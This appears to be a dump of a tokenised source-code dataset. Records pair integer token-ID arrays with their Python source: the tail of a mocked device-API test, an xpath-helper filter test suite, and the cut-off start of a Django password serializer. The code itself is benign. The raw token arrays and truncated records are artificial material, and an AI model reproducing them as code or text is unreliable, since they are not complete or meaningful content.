29892,
376,
4572,
1159,
408,
11187,
29918,
657,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
29925,
1164,
2290,
29892,
376,
7620,
1159,
408,
11187,
29918,
1112,
29918,
7620,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
10262,
29902,
2290,
29892,
376,
7620,
1159,
408,
11187,
29918,
29876,
1240,
29918,
7620,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
735,
15423,
29918,
14339,
29892,
376,
7620,
1159,
408,
29871,
11187,
29918,
14339,
29918,
7620,
29901,
13,
9651,
288,
1896,
29918,
5509,
29918,
17640,
29889,
2457,
29918,
1767,
353,
518,
1311,
29889,
1555,
29873,
29918,
5509,
29962,
13,
9651,
11187,
29918,
657,
29889,
2457,
29918,
1767,
353,
518,
735,
15423,
29918,
14339,
29962,
13,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
3359,
1575,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
3359,
1575,
29897,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
3359,
1575,
29914,
1688,
29918,
333,
29914,
4011,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
4011,
29897,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
1188,
936,
29918,
3359,
1575,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
1188,
936,
29918,
3359,
1575,
29897,
13,
13,
9651,
1583,
29889,
16593,
29918,
10568,
29898,
4299,
29918,
5943,
272,
29922,
1311,
29889,
4299,
29918,
5943,
272,
467,
26746,
29918,
3757,
4339,
580,
13,
13,
9651,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
6406,
29918,
3859,
29892,
376,
1430,
6181,
29928,
1159,
13,
9651,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
3372,
29918,
4882,
29892,
376,
17923,
18474,
1159,
13,
9651,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
1555,
29873,
29918,
5509,
29918,
333,
29892,
376,
1555,
29873,
29918,
5509,
29918,
333,
1159,
13,
9651,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
10141,
29918,
333,
29892,
376,
1688,
29918,
333,
1159,
13,
9651,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
974,
29918,
333,
29892,
376,
974,
29918,
333,
1159,
13,
9651,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
6099,
29918,
333,
29892,
376,
974,
29901,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
346,
29906,
29941,
29896,
29946,
29900,
29900,
29900,
1159,
13,
13,
9651,
11187,
29918,
14339,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
9651,
11187,
29918,
1112,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
9651,
11187,
29918,
29876,
1240,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
13,
1678,
732,
24830,
29918,
17640,
29889,
29924,
8658,
580,
13,
1678,
822,
1243,
29918,
26746,
29918,
735,
15423,
29918,
1867,
29918,
1333,
29918,
16593,
29898,
1311,
29892,
286,
1125,
13,
4706,
5923,
29918,
14339,
353,
26297,
580,
13,
4706,
5923,
29918,
14339,
29889,
264,
627,
287,
353,
29871,
29896,
13,
4706,
5923,
29918,
14339,
29889,
21402,
353,
29871,
29906,
13,
4706,
5923,
29918,
14339,
29889,
10141,
29918,
333,
353,
376,
1688,
29918,
333,
29908,
13,
13,
4706,
411,
13261,
29889,
3318,
29898,
29963,
5607,
29911,
3170,
29889,
12650,
29892,
376,
497,
1159,
408,
288,
1896,
29918,
5509,
29918,
17640,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
5607,
29911,
11501,
29889,
12650,
29892,
376,
4572,
1159,
408,
11187,
29918,
657,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
29925,
1164,
2290,
29892,
376,
7620,
1159,
408,
11187,
29918,
1112,
29918,
7620,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
10262,
29902,
2290,
29892,
376,
7620,
1159,
408,
11187,
29918,
29876,
1240,
29918,
7620,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
735,
15423,
29918,
14339,
29892,
376,
7620,
1159,
408,
11187,
29918,
14339,
29918,
7620,
29901,
13,
13,
9651,
288,
1896,
29918,
5509,
29918,
17640,
29889,
2457,
29918,
1767,
353,
518,
1311,
29889,
1555,
29873,
29918,
5509,
29962,
13,
9651,
11187,
29918,
657,
29889,
2457,
29918,
1767,
353,
518,
735,
15423,
29918,
14339,
29962,
13,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
3359,
1575,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
3359,
1575,
29897,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
3359,
1575,
29914,
1688,
29918,
333,
29914,
4011,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
4011,
29897,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
1188,
936,
29918,
3359,
1575,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
1188,
936,
29918,
3359,
1575,
29897,
13,
13,
9651,
1583,
29889,
16593,
29918,
10568,
29898,
4299,
29918,
5943,
272,
29922,
1311,
29889,
4299,
29918,
5943,
272,
467,
26746,
29918,
3757,
4339,
580,
13,
13,
9651,
11187,
29918,
14339,
29918,
7620,
29889,
9294,
29918,
1333,
29918,
13998,
580,
13,
9651,
11187,
29918,
1112,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
9651,
11187,
29918,
29876,
1240,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
13,
1678,
732,
24830,
29918,
17640,
29889,
29924,
8658,
580,
13,
1678,
822,
1243,
29918,
26746,
29918,
311,
22742,
29918,
3318,
29898,
1311,
29892,
286,
1125,
13,
4706,
5923,
29918,
14339,
353,
26297,
580,
13,
4706,
5923,
29918,
14339,
29889,
264,
627,
287,
353,
29871,
29906,
13,
4706,
5923,
29918,
14339,
29889,
21402,
353,
29871,
29896,
13,
4706,
5923,
29918,
14339,
29889,
10141,
29918,
333,
353,
376,
1688,
29918,
333,
29908,
13,
13,
4706,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
3359,
1575,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
3790,
29908,
7076,
1115,
5159,
1800,
13,
13,
4706,
411,
13261,
29889,
3318,
29898,
29963,
5607,
29911,
3170,
29889,
12650,
29892,
376,
497,
1159,
408,
288,
1896,
29918,
5509,
29918,
17640,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
5607,
29911,
11501,
29889,
12650,
29892,
376,
657,
29918,
7076,
1159,
408,
11187,
29918,
657,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
735,
15423,
29918,
14339,
29892,
376,
8143,
1159,
408,
11187,
29918,
14339,
29918,
8143,
29901,
13,
13,
9651,
288,
1896,
29918,
5509,
29918,
17640,
29889,
2457,
29918,
1767,
353,
518,
1311,
29889,
1555,
29873,
29918,
5509,
29962,
13,
9651,
11187,
29918,
657,
29889,
2457,
29918,
1767,
353,
518,
735,
15423,
29918,
14339,
29962,
13,
13,
9651,
1583,
29889,
16593,
29918,
10568,
29898,
4299,
29918,
5943,
272,
29922,
1311,
29889,
4299,
29918,
5943,
272,
467,
26746,
29918,
3757,
4339,
580,
13,
13,
9651,
11187,
29918,
14339,
29918,
8143,
29889,
9294,
29918,
13998,
580,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
443,
27958,
29889,
3396,
580,
2
] |
python/xpath-helper/tests/test_filter.py | jrebecchi/xpath-helper | 14 | 112066 | from xpath_helper import xh, filter
def test_and_operator(html_doc):
h1_path = xh.get_element_by_tag("h1", filter.and_operator(
filter.value_contains("motherfudging"), filter.value_contains("website")))
elements = html_doc.xpath(str(h1_path))
assert len(elements) != 0
assert "The " in elements[0].text
def test_or(html_doc):
h1_path = xh.get_element_by_tag("h1", filter.value_contains(
"motherfudging").or_operator(filter.value_equals("motherfudging")))
elements = html_doc.xpath(str(h1_path))
assert len(elements) != 0
assert "The " in elements[0].text
def test_empty(html_doc):
aFilter = filter.has_attribute("Toto")
h1_path = xh.get_element_by_tag("h1", aFilter)
elements = html_doc.xpath(str(h1_path))
assert len(elements) == 0
aFilter.empty()
h1_path = xh.get_element_by_tag("h1", aFilter)
elements = html_doc.xpath(str(h1_path))
assert len(elements) != 0
def test_isEmpty(html_doc):
assert filter.has_attribute("Toto").is_empty() == False
assert filter.is_empty() == True
def test_has_attribute(html_doc):
body_path = xh.get_element_by_tag("body", filter.has_attribute("data-new-gr-c-s-check-loaded"))
elements = html_doc.xpath(str(body_path))
assert len(elements) != 0
def test_attribute_contains(html_doc):
body_path = xh.get_element_by_tag("body", filter.attribute_contains("data-new-gr-c-s-check-loaded", "8"))
elements = html_doc.xpath(str(body_path))
assert len(elements) != 0
def test_attribute_equals(html_doc):
body_path = xh.get_element_by_tag("body", filter.attribute_equals("data-new-gr-c-s-check-loaded", "8.884.0"))
elements = html_doc.xpath(str(body_path))
assert len(elements) != 0
def test_attribute_not_equals(html_doc):
body_path = xh.get_element_by_tag("body", filter.attribute_not_equals("data-new-gr-c-s-check-loaded", "toto"))
elements = html_doc.xpath(str(body_path))
assert len(elements) != 0
def test_attribute_less_than(html_doc):
li_path = xh.get_element_by_tag("li", filter.attribute_less_than("data-number", 21)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_attribute_less_thanOrEqualsTo(html_doc):
li_path = xh.get_element_by_tag("li", filter.attribute_less_than_or_equal_to("data-number", 20)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_attribute_greater_than(html_doc):
li_path = xh.get_element_by_tag("li", filter.attribute_greater_than("data-number", 24)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_attribute_greater_than_or_equal_to(html_doc):
li_path = xh.get_element_by_tag("li", filter.attribute_greater_than_or_equal_to("data-number", 25)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_value_contains(html_doc):
li_path = xh.get_element_by_tag("li", filter.value_contains("Stuff doesn't weigh a ton (in fact it'")
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_value_equals(html_doc):
li_path = xh.get_element_by_tag("li", filter.value_equals(20)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_value_not_equals(html_doc):
li_path = xh.get_element_by_tag("li", filter.value_greater_than(14).and_operator(filter.value_not_equals(20))
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
assert elements[0].text == "15"
def test_value_less_than(html_doc):
li_path = xh.get_element_by_tag("li", filter.value_less_than(16)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_value_less_thanOrEqualsTo(html_doc):
li_path = xh.get_element_by_tag("li", filter.value_less_than_or_equal_to(15)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_value_greater_than(html_doc):
li_path = xh.get_element_by_tag("li", filter.value_greater_than(19)
)
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_value_greater_thanOrEqualsTo(html_doc):
li_path = xh.get_element_by_tag(
"li", filter.value_greater_than_or_equal_to(20))
elements = html_doc.xpath(str(li_path))
assert len(elements) != 0
def test_get(html_doc):
p_path = xh.get_element_by_tag(
"body"
).get_element_by_tag("p", filter.get(2))
elements = html_doc.xpath(str(p_path))
assert len(elements) != 0
assert "You probably build websites using vim" in elements[0].text
def test_get_first(html_doc):
p_path = xh.get_element_by_tag(
"body").get_element_by_tag("p", filter.get_first())
elements = html_doc.xpath(str(p_path))
assert len(elements) != 0
assert "For real" in elements[0].text
def test_get_last(html_doc):
p_path = xh.get_element(filter.attribute_equals(
"class", "tleft")).get_element_by_tag("p", filter.get_last())
elements = html_doc.xpath(str(p_path))
assert len(elements) != 0
assert "He's happy" in elements[0].text
def test_not(html_doc):
p_path = xh.get_element_by_tag("body").get_element_by_tag(
"p", filter.not_operator(filter.attribute_equals("class", "st")))
elements = html_doc.xpath(str(p_path))
assert len(elements) != 0
assert "For real" not in elements[0].text
| [
1,
515,
921,
2084,
29918,
20907,
1053,
921,
29882,
29892,
4175,
13,
13,
1753,
1243,
29918,
392,
29918,
6891,
29898,
1420,
29918,
1514,
1125,
13,
1678,
298,
29896,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
29882,
29896,
613,
4175,
29889,
392,
29918,
6891,
29898,
13,
4706,
4175,
29889,
1767,
29918,
11516,
703,
29885,
1228,
29888,
566,
3460,
4968,
29871,
4175,
29889,
1767,
29918,
11516,
703,
22942,
29908,
4961,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29882,
29896,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
1678,
4974,
376,
1576,
376,
297,
3161,
29961,
29900,
1822,
726,
13,
13,
13,
1753,
1243,
29918,
272,
29898,
1420,
29918,
1514,
1125,
13,
1678,
298,
29896,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
29882,
29896,
613,
4175,
29889,
1767,
29918,
11516,
29898,
13,
4706,
376,
29885,
1228,
29888,
566,
3460,
2564,
272,
29918,
6891,
29898,
4572,
29889,
1767,
29918,
10954,
703,
29885,
1228,
29888,
566,
3460,
29908,
4961,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29882,
29896,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
1678,
4974,
376,
1576,
376,
297,
3161,
29961,
29900,
1822,
726,
13,
13,
13,
1753,
1243,
29918,
6310,
29898,
1420,
29918,
1514,
1125,
13,
1678,
263,
5072,
353,
4175,
29889,
5349,
29918,
12715,
703,
29911,
3747,
1159,
13,
1678,
298,
29896,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
29882,
29896,
613,
263,
5072,
29897,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29882,
29896,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
1275,
29871,
29900,
13,
1678,
263,
5072,
29889,
6310,
580,
13,
1678,
298,
29896,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
29882,
29896,
613,
263,
5072,
29897,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29882,
29896,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
24326,
29898,
1420,
29918,
1514,
1125,
13,
1678,
4974,
4175,
29889,
5349,
29918,
12715,
703,
29911,
3747,
2564,
275,
29918,
6310,
580,
1275,
7700,
13,
1678,
4974,
4175,
29889,
275,
29918,
6310,
580,
1275,
5852,
13,
13,
13,
1753,
1243,
29918,
5349,
29918,
12715,
29898,
1420,
29918,
1514,
1125,
13,
1678,
3573,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
2587,
613,
4175,
29889,
5349,
29918,
12715,
703,
1272,
29899,
1482,
29899,
629,
29899,
29883,
29899,
29879,
29899,
3198,
29899,
15638,
5783,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
2587,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
12715,
29918,
11516,
29898,
1420,
29918,
1514,
1125,
13,
1678,
3573,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
2587,
613,
4175,
29889,
12715,
29918,
11516,
703,
1272,
29899,
1482,
29899,
629,
29899,
29883,
29899,
29879,
29899,
3198,
29899,
15638,
613,
376,
29947,
5783,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
2587,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
12715,
29918,
10954,
29898,
1420,
29918,
1514,
1125,
13,
1678,
3573,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
2587,
613,
4175,
29889,
12715,
29918,
10954,
703,
1272,
29899,
1482,
29899,
629,
29899,
29883,
29899,
29879,
29899,
3198,
29899,
15638,
613,
376,
29947,
29889,
29947,
29947,
29946,
29889,
29900,
5783,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
2587,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
12715,
29918,
1333,
29918,
10954,
29898,
1420,
29918,
1514,
1125,
13,
1678,
3573,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
2587,
613,
4175,
29889,
12715,
29918,
1333,
29918,
10954,
703,
1272,
29899,
1482,
29899,
629,
29899,
29883,
29899,
29879,
29899,
3198,
29899,
15638,
613,
376,
29873,
3747,
5783,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
2587,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
12715,
29918,
2222,
29918,
27603,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
12715,
29918,
2222,
29918,
27603,
703,
1272,
29899,
4537,
613,
29871,
29906,
29896,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
12715,
29918,
2222,
29918,
27603,
2816,
14776,
1762,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
12715,
29918,
2222,
29918,
27603,
29918,
272,
29918,
11745,
29918,
517,
703,
1272,
29899,
4537,
613,
29871,
29906,
29900,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
12715,
29918,
7979,
1008,
29918,
27603,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
12715,
29918,
7979,
1008,
29918,
27603,
703,
1272,
29899,
4537,
613,
29871,
29906,
29946,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
12715,
29918,
7979,
1008,
29918,
27603,
29918,
272,
29918,
11745,
29918,
517,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
12715,
29918,
7979,
1008,
29918,
27603,
29918,
272,
29918,
11745,
29918,
517,
703,
1272,
29899,
4537,
613,
29871,
29906,
29945,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
1767,
29918,
11516,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
1767,
29918,
11516,
703,
855,
3096,
1838,
29915,
29873,
591,
1141,
263,
15243,
313,
262,
2114,
372,
29915,
1159,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
1767,
29918,
10954,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
1767,
29918,
10954,
29898,
29906,
29900,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
1767,
29918,
1333,
29918,
10954,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
1767,
29918,
7979,
1008,
29918,
27603,
29898,
29896,
29946,
467,
392,
29918,
6891,
29898,
4572,
29889,
1767,
29918,
1333,
29918,
10954,
29898,
29906,
29900,
876,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
1678,
4974,
3161,
29961,
29900,
1822,
726,
1275,
376,
29896,
29945,
29908,
13,
13,
13,
1753,
1243,
29918,
1767,
29918,
2222,
29918,
27603,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
1767,
29918,
2222,
29918,
27603,
29898,
29896,
29953,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
1767,
29918,
2222,
29918,
27603,
2816,
14776,
1762,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
1767,
29918,
2222,
29918,
27603,
29918,
272,
29918,
11745,
29918,
517,
29898,
29896,
29945,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
1767,
29918,
7979,
1008,
29918,
27603,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
492,
613,
4175,
29889,
1767,
29918,
7979,
1008,
29918,
27603,
29898,
29896,
29929,
29897,
13,
462,
462,
1669,
1723,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
1767,
29918,
7979,
1008,
29918,
27603,
2816,
14776,
1762,
29898,
1420,
29918,
1514,
1125,
13,
1678,
619,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
29898,
13,
4706,
376,
492,
613,
4175,
29889,
1767,
29918,
7979,
1008,
29918,
27603,
29918,
272,
29918,
11745,
29918,
517,
29898,
29906,
29900,
876,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
492,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
13,
13,
1753,
1243,
29918,
657,
29898,
1420,
29918,
1514,
1125,
13,
1678,
282,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
29898,
13,
4706,
376,
2587,
29908,
13,
1678,
13742,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
29886,
613,
4175,
29889,
657,
29898,
29906,
876,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29886,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
1678,
4974,
376,
3492,
3117,
2048,
28007,
773,
325,
326,
29908,
297,
3161,
29961,
29900,
1822,
726,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
4102,
29898,
1420,
29918,
1514,
1125,
13,
1678,
282,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
29898,
13,
4706,
376,
2587,
2564,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
29886,
613,
4175,
29889,
657,
29918,
4102,
3101,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29886,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
1678,
4974,
376,
2831,
1855,
29908,
297,
3161,
29961,
29900,
1822,
726,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
4230,
29898,
1420,
29918,
1514,
1125,
13,
1678,
282,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29898,
4572,
29889,
12715,
29918,
10954,
29898,
13,
4706,
376,
1990,
613,
376,
29873,
1563,
1159,
467,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
29886,
613,
4175,
29889,
657,
29918,
4230,
3101,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29886,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
1678,
4974,
376,
3868,
29915,
29879,
9796,
29908,
297,
3161,
29961,
29900,
1822,
726,
13,
13,
13,
1753,
1243,
29918,
1333,
29898,
1420,
29918,
1514,
1125,
13,
1678,
282,
29918,
2084,
353,
921,
29882,
29889,
657,
29918,
5029,
29918,
1609,
29918,
4039,
703,
2587,
2564,
657,
29918,
5029,
29918,
1609,
29918,
4039,
29898,
13,
4706,
376,
29886,
613,
4175,
29889,
1333,
29918,
6891,
29898,
4572,
29889,
12715,
29918,
10954,
703,
1990,
613,
376,
303,
29908,
4961,
13,
1678,
3161,
353,
3472,
29918,
1514,
29889,
23635,
29898,
710,
29898,
29886,
29918,
2084,
876,
13,
1678,
4974,
7431,
29898,
17664,
29897,
2804,
29871,
29900,
13,
1678,
4974,
376,
2831,
1855,
29908,
451,
297,
3161,
29961,
29900,
1822,
726,
13,
2
] |
apps/accounts/api/v1/serializers/password.py | jimialex/django-wise-template-mysql | 2 | 102019 | # -*- coding: utf-8 -*-
from rest_framework import serializers
from rest_framework.exceptions import ValidationError
from rest_framework.serializers import Serializer
from apps.accounts import response_codes
from apps.accounts.api.v1.serializers.login import UsernameOrEmailSerializer
from apps.accounts.models import User
from django.utils.translation import ugettext_lazy as _
PASSWORD_MAX_LENGTH = User._meta.get_field('password').max_length # noqa: WPS437
user_read_only_fields = (
'id', 'username', 'date_joined', 'last_login', 'new_email',
'password', 'is_superuser', 'is_staff', 'is_active', 'date_joined',
'email_token', 'token', 'groups', 'user_permissions',
)
class CheckValidPasswordMixin(serializers.Serializer):
"""Validates a password."""
password = serializers.CharField(
help_text=_('<PASSWORD>'),
max_length=PASSWORD_MAX_LENGTH,
)
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.request = self.context.get('request', None)
self.user = getattr(self.request, 'user', None)
def validate_password(self, password):
if not self.user.check_password(password):
raise ValidationError(**response_codes.INVALID_PASSWORD)
return password
class PasswordSetSerializer(serializers.Serializer):
